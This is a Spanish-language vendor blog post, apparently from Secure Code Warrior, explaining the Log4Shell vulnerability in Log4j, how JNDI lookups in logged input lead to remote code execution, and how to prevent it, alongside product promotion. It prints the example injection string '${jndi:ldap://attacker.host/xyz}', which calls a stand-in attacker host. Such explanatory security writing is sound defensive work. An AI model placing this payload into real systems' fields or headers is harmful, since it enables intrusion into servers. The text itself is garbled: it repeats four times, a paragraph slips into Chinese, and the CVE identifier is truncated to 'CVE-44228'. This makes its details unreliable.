
Explicación detallada de la vulnerabilidad de Log4j: sus vectores de ataque y métodos de prevención
El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.


En diciembre de 2021, se reveló una grave vulnerabilidad de seguridad llamada Log4Shell en la biblioteca Java Log4j. En este artículo, desglosaremos la vulnerabilidad Log4Shell en su forma más simple para que puedas comprender los conceptos básicos y te presentaremos una tarea: un patio de recreo en el que podrás utilizar tus conocimientos sobre la vulnerabilidad para intentar atacar un sitio web simulado.

Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.
Reservar una demostraciónLaura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.


El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.

El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.

Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.
Ver informeReservar una demostraciónLaura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.
Índice

Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.
Reservar una demostraciónDescargarRecursos para ayudarle a empezar
Trust Agent:AI - Secure and scale AI-Drive development
AI is writing code. Who’s governing it? With up to 50% of AI-generated code containing security weaknesses, managing AI risk is critical. Discover how SCW's Trust Agent: AI provides the real-time visibility, proactive governance, and targeted upskilling needed to scale AI-driven development securely.
El poder de la seguridad de aplicaciones OpenText + Secure Code Warrior
OpenText Application Security and Secure Code Warrior combine vulnerability detection with AI Software Governance and developer capability. Together, they help organizations reduce risk, strengthen secure coding practices, and confidently adopt AI-driven development.
Secure Code Warrior corporate overview
Secure Code Warrior is an AI Software Governance platform designed to enable organizations to safely adopt AI-driven development by bridging the gap between development velocity and enterprise security. The platform addresses the "Visibility Gap," where security teams often lack insights into shadow AI coding tools and the origins of production code.




.png)